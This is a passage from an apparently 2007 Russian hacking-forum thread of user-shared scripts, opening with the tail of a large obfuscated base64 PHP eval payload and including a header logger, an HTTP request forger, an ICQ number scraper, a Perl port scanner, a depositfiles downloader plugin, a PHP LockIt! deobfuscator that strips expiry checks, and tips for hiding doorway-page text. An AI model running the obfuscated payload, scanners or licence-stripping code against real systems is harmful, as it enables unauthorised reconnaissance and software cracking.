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 l5R88VKVvVI2gf9/ASblWnc=')));
?>

mr.The
06.10.2007, 15:08
Скрипт читающий все HTTP заголовки посылаемые браузером.(правда есть одно "но" он выводит инфу о сервере. но кому надо тот поймёт где что.)

<?php
$r = fopen('123.txt',"w+");
$kea=array_keys($_SERVER);
$vala=array_values($_SERVER);
for($i=0;$i<count($_SERVER);$i++) fputs($r,$kea[$i]."=".$vala[$i]."\r\n");
fclose($r);
?>

NOmeR1
13.10.2007, 21:11
<?

#(C) NOmeR1

if($_POST['packets'])
{

$site = preg_replace('|\s|',NULL,preg_replace('/^.*Host:\s+(.+)\s*(\n|\r\n).*$/isU', '\\1', $_POST['packets']."\r\n"));

function answer($site, $headers)
{

$fp = fsockopen($site, 80);
fwrite($fp, $headers."\r\n\r\n");

$packets = fread($fp, 2048);
$packets = preg_replace("/^(.+)(\n|\r\n){2,}.*$/isU", "\\1", $packets);

return $packets;

}

echo '<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">'.$_POST['packets'].'</textarea><br>
<input type=submit></form></td>
<td align="right"><textarea style="width:400px;height:200px;">'.answer($site, $_POST['packets']).'</textarea></td></tr></table>';

}

else
{

echo('<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">GET / HTTP/1.0
Host: www.antichat.ru</textarea><br>
<input type=submit></form></td>');

}

?>

Скрипт - "поддельщик" запросов. Отсылает поддельные пакеты и читает ответ сервера. Что-то типо InetCrack... Может кому и понадобится.

romen
16.10.2007, 15:14
простой скрипт - собирает с асечки базу номерков, которые на асечке в продаже (а ля в подборе под телефонный номер).

Результат выводит в браузер. Кому надо может и в фалл писать.
С параметрами по умолчанию собирает только шестизнаки.

<?php
$start = 100000;
$end = 999999;
$current = $start;
if (isset($_REQUEST['start']))
{
$current = $_REQUEST['start'];
}
if (($current < $start) || ($current>$end))
{
die('error in paramethers');
}
while ($current<=$end)
{
$page = file_get_contents("http://online.asechka.ru/check-more?uin=".$current);
$is_popal = preg_match_all('/'.$current.'/s', $page, $tmpp);
if ($is_popal >2)
{
echo $current."<br>";
}
else
{
preg_match_all('|<td>([0-9]+)<.td>|Uis',$page,$out,PREG_PATTERN_ORDER);
foreach($out[1] as $anchor)
{
echo $anchor."<br>";
$current = $anchor;
}
}
$current = $current + 1;
}
?>

.Slip
17.10.2007, 14:05
Сканер портов бай ми. Тренируюсь(:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;

print "Enter IP adress: ";
my $ip_addr = <STDIN>;

print "Enter Port's Range: ";
my $al = <STDIN>;

print "Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;

my ($from, $to) = split(/-/,$al);

open (RS,">results.txt");

chomp($ip_addr,$from,$PRT);

print "\n[~] Scaning in procces..\n";

while ($from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRT, PeerPort => $from, PeerAddr => $ip_addr, timeout => 10);

if (!$sock)
{
print RS $ip_addr,":",$from, "- Closing\n";
$from++;
}

else
{
print RS $ip_addr,":",$from, "- Opened!\n";
$from++;
}
}

print "[!] Scaning over!\n";
close RS;

Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.

Sharky
17.10.2007, 17:21
']Сканер портов бай ми. Тренируюсь(:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;

print "Enter IP adress: ";
my $ip_addr = <STDIN>;

print "Enter Port's Range: ";
my $al = <STDIN>;

print "Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;

my ($from, $to) = split(/-/,$al);

open (RS,">results.txt");

chomp($ip_addr,$from,$PRT);

print "\n[~] Scaning in procces..\n";

while ($from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRT, PeerPort => $from, PeerAddr => $ip_addr, timeout => 10);

if (!$sock)
{
print RS $ip_addr,":",$from, "- Closing\n";
$from++;
}

else
{
print RS $ip_addr,":",$from, "- Opened!\n";
$from++;
}
}

print "[!] Scaning over!\n";
close RS;

Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.

а можно наоборот чтоб диапазон ипов на открытие одно порта сканило

.Slip
17.10.2007, 17:25
Можно и так, переделать там недолго.

Sharky
17.10.2007, 17:50
']Можно и так, переделать там недолго.
ну тогда будь добр =)

.Slip
18.10.2007, 11:40
ну тогда будь добр =)
Переделал. Может конечно кое где криво.
Сканит диапазон ипов, конектится только к одному порту. Вводишь ИП: 192.168.0.1-192.168.0.30 (Например)
Сканирует пока что только по маске D. Хотя с его крейсерской скоростью ему не судьба сканить ещё и маску C. Позднее реализую многопоточность.
add:
Форум режет некоторые слэши=\ Сейчас залью
http://webfile.ru/1559949

Woland
26.10.2007, 00:06
прикольно показывает анекдотики

<p align="left"><strong>Анекдот:</strong><br>
<font size="1" face="Verdana, Arial"><script
language="JavaScript">
var h=(Math.random()*26);
if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!..");
if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии.");
if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался.");
if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников.");
if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br> Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?");
if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT.");
if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!");
if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало.");
if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц.");
if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло.");
if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра.");
if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>");
if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру.");
if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.");
if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!");
if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.");
if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская.");
if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */");
if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.");
if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!");
if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!");
if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным.");
if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!");
if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!");
if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь...");
if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили...");
</script></font>
</p>
Больше заинтерисовали анекдоты, хотя и скрипт применю

Meanor
30.10.2007, 17:49
А слова не повторяются ?

Нет.

Можешь проверить убрав большую часть символов в исходном массиве + закоментив ненужную часть кода, оставив только 2-3 "for" (т.е. в файле будут слова в 1-3 символа).

При эксперименте этот скрипт выдал словарь в гиг за 30 минут, причем написание всех слов на "а" еще не закончилось...

TANZWUT
31.10.2007, 10:44
нашёл в дебрях инета.. какаято хрень для depositfiles.com, в смысл работы не вникал..
depositfiles.com.index

<?php
$secondpage_plugin["depositfiles.com"]="depositfiles.com.$second_plug_ext";
$firstpage_plugin["depositfiles.com"]="depositfiles.com.$first_plug_ext";
$supported_service[]="depositfiles.com";

##########################################
# тут можно ввести логин/пасс по умлочанию
// $deposit_login = "kipast"; // например "test"
//$deposit_pass = "68444696691929"; // например "test"
##########################################

?>

depositfiles.com.second

<?php
$form_url=base64_decode(urldecode($_REQUEST["formurl"]));
$url=parse_url($form_url);

$post["file_password"]="";
$post["go"]="1";
$post["img_code"]=$_REQUEST["accesscode"];
$post["gateway_result"]=1;

$cookies=unserialize(base64_decode($_REQUEST["cookie"]));

foreach ($_COOKIE as $name => $value){
if (preg_match('/ic[\d]{6,}/', $name)){
$cookies .= "; ".$name."=".$value;
}
}

$page = geturl($url["host"], defport($url), $url["path"].($url["query"] ? "?".$url["query"] : "?"), $form_url, $cookies, $post, 0, $_GET["proxy"],$pauth);
is_page($page);
if (strstr($page,"Invalid image code")){
echo "<center><font color=red>Incorrect is entered a code of the access. Retry<br /> Проверочный код неверен.</font></center><p>\n";
exit;
}

if (!strstr($page,"Location:"))
{
html_error('Error: Not retrive redirection link');
}
else
{
$Href=trim(cut_str($page,"Location:","\n"));
if ($Href[0] == '/') {$Href=$url["scheme"].'://'.$url["host"].$Href;}
}

if (!$Href) { html_error('Error get direct link'.$page); }
$Url = parse_url($Href);
$FileName = !$FileName ? basename($Url["path"]) : $FileName;

insert_location("$PHP_SELF?command=download&FileName=".urlencode(base64_encode($FileName))."&host=".urlencode(base64_encode($Url[host]))."&path=".urlencode(base64_encode($Url[path].($Url["query"] ? "?".$Url["query"] : "")))."&referer=".urlencode(base64_encode($Referer))."&email=".($_GET["domail"] ? $_GET["email"] : "")."&partSize=".($_GET[split] ? $_GET[partSize] : "")."&method=".$_GET[method]."&proxy=".($_GET["useproxy"] ? $_GET["proxy"] : "")."&saveto=".urlencode($_GET["savedir"])."&orlink=".urlencode(base64_encode($_GET["orlink"]))."&link=".urlencode(base64_encode($Href)).($_REQUEST["add_comment"] ? "&add_comment=on&comment=".urlencode($_REQUEST[comment]) : "").($pauth ? "&pauth=".urlencode($pauth) : ""),$Href,$_GET["showdirect"] == "on");
?>

depositfiles.com.first

<?php
# Download plug'in from Director Of Zoo (member ru-board <kamyshew>)
#за предоставленые акки для тестов благодарим ru-board member's <starsh1ne> & <stas1971>

/* получение картинки*/


$depos_mem = false;
if($deposit_login & $deposit_pass) $depos_mem = true;
$lang = "lang_current=en";// определяем язык
// рубимся к депозиту по примаку
if ($depos_mem) {
$post['login'] = $deposit_login;
$post['password'] = $deposit_pass;
$post['go'] = 1;
$page_mem = geturl($Url["host"], defport($Url), "/en/login.php?return=%2Fru%2Fgold%2F", 0, $lang, $post, 0, $_GET["proxy"],$pauth);
is_page($page_mem);
unset($post);
if(!strpos($page_mem,"autologin")){
echo "<center><b>Error in Depositfiles Gold account info<br>Used <span style='color:red'>free</span> account</b></center>\n";
$depos_mem = false;
}else{
$cook = GetCookies($page_mem,true);
$cookie = @implode("; ",$cook);
$cookie .= "; ".$lang;
echo "<center><b>OK Depositfiles Gold account<br>Used <span style='color:green'>GOLD</span> account</b></center>\n";
}
}

if(!$depos_mem){ //free
$page = geturl($Url["host"], defport($Url), $Url["path"].($Url["query"] ? "?".$Url["query"] : ""), 0, $lang, 0, 0, $_GET["proxy"],$pauth);
is_page($page);
$cook = GetCookies($page,true);
$cookie = @implode("; ",$cook);
$cookie .= "; ".$lang;
}

$temp_url=$Url["path"].($Url["query"] ? "?".$Url["query"] : "");
$post["gateway_result"]="1";

$pos_=strpos($temp_url,'/files/');
if ($pos_ === false)
{
html_error('Error in link. No depositfiles.com link ');
}

$temp_url='/en'.substr($temp_url,$pos_);

$page = geturl($Url["host"], defport($Url), $temp_url, 0, $cookie, $post, 0, $_GET["proxy"],$pauth);

is_page($page);
$cook2 = GetCookies($page,true);
$cookie2 = @implode("; ",$cook2);

#Проверка на ошибки
is_present($page,"downloading slots","We are sorry, but all downloading slots for your country are busy.");
is_present($page,"Such file does not exist or it has been removed");
is_present($page,"No such file, or file inaccessible for downloading");
is_present($page,"From yours IP addresses already there","From yours IP addresses already there is a downloading a file from our system");
is_present($page,"Please, enter the password for this file","Excuse me, given file passworded");

if ($depos_mem){
$Href=cut_str($page,'dwnsrc = "','"');
if(!$Href) html_error("Error Get Download link!");
$Url = parse_url($Href);
$FileName = basename($Href);

$Referer = $_GET["orlink"];
insert_location("$PHP_SELF?command=download&FileName=".urlencode(base64_encode($FileName))."&cookie=".urlencode(base64_encode(serialize($cookie)))."&host=".urlencode(base64_encode($Url[host]))."&path=".urlencode(base64_encode($Url[path].($Url["query"] ? "?".$Url["query"] : "")))."&referer=".urlencode(base64_encode($Referer))."&email=".($_GET["domail"] ? $_GET["email"] : "")."&partSize=".($_GET[split] ? $_GET[partSize] : "")."&method=".$_GET[method]."&proxy=".($_GET["useproxy"] ? $_GET["proxy"] : "")."&saveto=".urlencode($_GET["savedir"])."&orlink=".urlencode(base64_encode($_GET["orlink"]))."&link=".urlencode(base64_encode($Href)).($_REQUEST["add_comment"] ? "&add_comment=on&comment=".urlencode($_REQUEST[comment]) : "").($pauth ? "&pauth=".urlencode($pauth) : ""),$Href,$_GET["showdirect"] == "on");
}else{

$countDown=trim(cut_str($page,'show_url(',")"));
insert_timer($countDown, "Waiting link timelock.","",true);

$tmp = cut_str($page,"Enter code","input");

$access_image_url=trim(cut_str($tmp,"src='","'"));
if (!$access_image_url)
{
html_error('Error get image url. This service change protect method'.$page);
}
$cookies2 = $cookie."; ".$cookie2;

$newlink=($loadcaptha_old === true) ? $access_image_url : "$PHP_SELF?command=image&cookie=".base64_encode(serialize($cookies2))."&link=".urlencode(base64_encode($access_image_url))."&ref=".urlencode(base64_encode($_GET["orlink"])).($_GET["useproxy"] == "on" ? "&useproxy=on&proxy=".$_GET["proxy"] : "").($pauth ? "&pauth=".urlencode($pauth) : "");

echo "<form action=$PHP_SELF method=post>\n";
echo "<input type=hidden name=command value=second>\n";
echo "<input type=hidden name=services value='depositfiles.com'>\n";

echo "<input type=hidden name=formurl value='".urlencode(base64_encode("http://".$Url["host"].$temp_url))."'>\n";
echo "<input type=hidden name=access_image_url value='".urlencode(base64_encode($newlink))."'>\n";


echo "<input type=hidden name=cookie value='".base64_encode(serialize($cookies2))."'>\n";

echo "<input type=hidden name=saveto value=".$_REQUEST[saveto].">\n";
echo "<input type=hidden name=savedir value=".urlencode($_REQUEST[savedir]).">\n";
echo "<input type=hidden name=ref value=".urlencode(base64_encode($LINK)).">\n";
echo "<input type=hidden name=orlink value=".urlencode(base64_encode($LINK)).">\n";
echo "<input type=hidden name=link value=".urlencode(base64_encode($LINK)).">\n";
echo ($_REQUEST["add_comment"] ? "<input type=hidden name=add_comment value=on>\n<input type=hidden name=comment value=".urlencode($_REQUEST[comment]).">\n" : "");
echo "<input type=hidden name=domail value=".$_GET[domail].">\n";
echo "<input type=hidden name=email value=".$_GET[email].">\n";
echo "<input type=hidden name=useproxy value=".$_GET[useproxy].">\n";
echo "<input type=hidden name=proxy value=".$_GET[proxy].">\n";
echo "<input type=hidden name=split value=".$_GET[split].">\n";
echo "<input type=hidden name=method value=".$_GET[method].">\n";
echo "<input type=hidden name=partSize value=".$_GET[partSize].">\n";
echo "<input type=hidden name=showdirect value=".($_GET["showdirect"] == "on" ? "on" : "").">\n";
echo ($pauth ? "<input type=hidden name=pauth value=".urlencode($pauth).">\n" : "");

echo "<h3>Please enter <img align=middle src=\"$newlink\"> here: <input type=text name=accesscode size=6 maxlength=6> <input type=submit value=\"Download file\"></h3>\n";
echo "</form>\n";
}

# Download plug'in from Director Of Zoo (ru-board member <kamyshew>).
?>

_Great_
02.11.2007, 18:07
Не надо устраивать из этой темы свалку и выкладывать скрипты типа мд5 брутера или калькулятора, если вы 5 минут назад научились писать на пхп.
Пожалейте время модераторов на удаление ваших сообщений и место в базе данных форума )

BiZoNiX
04.11.2007, 13:57
Думаю пригодится очень полезный скриптец предназначен для расшифровки и деобфускации php-скриптов, которые были обработаны программой PHP LockIt! (www.phplockit.com).

<?php
/*
* PHP LockIt! unlocker
* by Daniel Rozsnyo [ daniel@rozsnyo.com ]
*
* "a proof that security throught obscurity doesn't work"
*
*/
$input = file_get_contents( $filename = $argv[1] );
if (ereg( "[$]([^=]+)=[_][_]FILE[_][_][;]"
. "[$]([^=]+)=[_][_]LINE[_][_][;]"
. "[$]([^=]+)[=]([0-9]+)[;]"
. "eval.*(base64_decode.['][^']*['].)", $input, $x)) {
// first pass
$ifilename = $x[1];
$ilinenum = $x[2];
$ioffset = $x[3];
$offset = $x[4];
$decoder = $x[5];
// get the decoder
$decoder = eval("return $decoder;");
// decipher the decoder
ereg("[$]([^=]+)[=].*[$]([^=]+)=.base64",$decoder,$x);
$ihandle = $x[1];
$iout = $x[2];
$decoder = str_replace($iout ,'output' ,$decoder);
$decoder = str_replace($ihandle ,'handle' ,$decoder);
$decoder = str_replace($ilinenum ,'line' ,$decoder);
$decoder = str_replace($ifilename,'filename',$decoder);
// the decoder is our slave!
$decoder = str_replace('eval($output);','return $output;',$decoder);
$decoder = '$line=2;'.$decoder;
// sandbox
$next = eval($decoder);
// remove expiration time
$next = ereg_replace("^if[^;]+;",'',$next);
// some more deciphering
ereg('^[$]([^=]+)=',$next,$x);
$next = str_replace($ihandle, 'handle', $next);
$next = str_replace($ifilename,'filename',$next);
$next = str_replace($x[1] , 'output', $next);
$next = str_replace($ioffset, 'offset', $next);
// the decoder is our slave, again!
$next = str_replace('eval($output)','return $output',$next);
// final pass
$code = eval($next);
// finish
echo '<','?php',$code,'?','>',"\n";
} else die("Failed. No base64_decode anymore.\n");
?>

Макс 8===3
04.11.2007, 17:24
Народ, подскажите плиз!!! Неработает скрипт точнее непонимаю как его выделить чтобы работал,(недавно начал пхп изучать....) посмотрите невпадлу и скажите что там надо, чтобы на странице была всего одна картинка как наверху слева и всё остальное чтобы невидно было)))))
http://aax.jino-net.ru/index.php вот тут
Спасибо!!!

Piflit
04.11.2007, 17:30
<font color="white">nash dorveyniy text</font>

Макс 8===3
04.11.2007, 17:46
<font color="white">nash dorveyniy text</font>


Ага, спасибо! Текст убрался, а как всё остальное сныкть?

phol1eadeux
04.11.2007, 22:27
Да сныкай ты слой за пределы экрана, в чем проблема?

NOmeR1
04.11.2007, 22:45
Народ, подскажите плиз!!! Неработает скрипт точнее непонимаю как его выделить чтобы работал,(недавно начал пхп изучать....) посмотрите невпадлу и скажите что там надо, чтобы на странице была всего одна картинка как наверху слева и всё остальное чтобы невидно было)))))
http://aax.jino-net.ru/index.php вот тут
Спасибо!!!
зачем паришься?
<div style="display:none;">Всё то, что надо сныкать</div>

P.S. Эта тема не для вопросов.

XHTTP
06.11.2007, 05:05
Маленький, но полезный яваскрипт =)

Для резинового сайта с флэш фильмом в шапке.
Гемор конечно под каждое разрешение делать свой фильм, но оно того стоит)

точно работает в опере, в фоксе и в ИЕ.

<script language="JavaScript">
<!--
var height=0;
if (self.screen) {
width = screen.width
}
else if (self.java) {
var jkit = java.awt.Toolkit.getDefaultToolkit();
var scrsize = jkit.getScreenSize();
width = scrsize.width;
}

if (width==800)
{ document.write ('<embed src="Flash_800.swf" width="800" height="100"></embed>') };

if (width==1024)
{ document.write ('<embed src="Flash_1024.swf" width="1024" height="100"></embed>') };

if (width==1154)
{ document.write ('<embed src="Flash_1154.swf" width="1154" height="100"></embed>') };

if (width==1280)
{ document.write ('<embed src="Flash_1280.swf" width="1284" height="100"></embed>') };

if (width==1400)
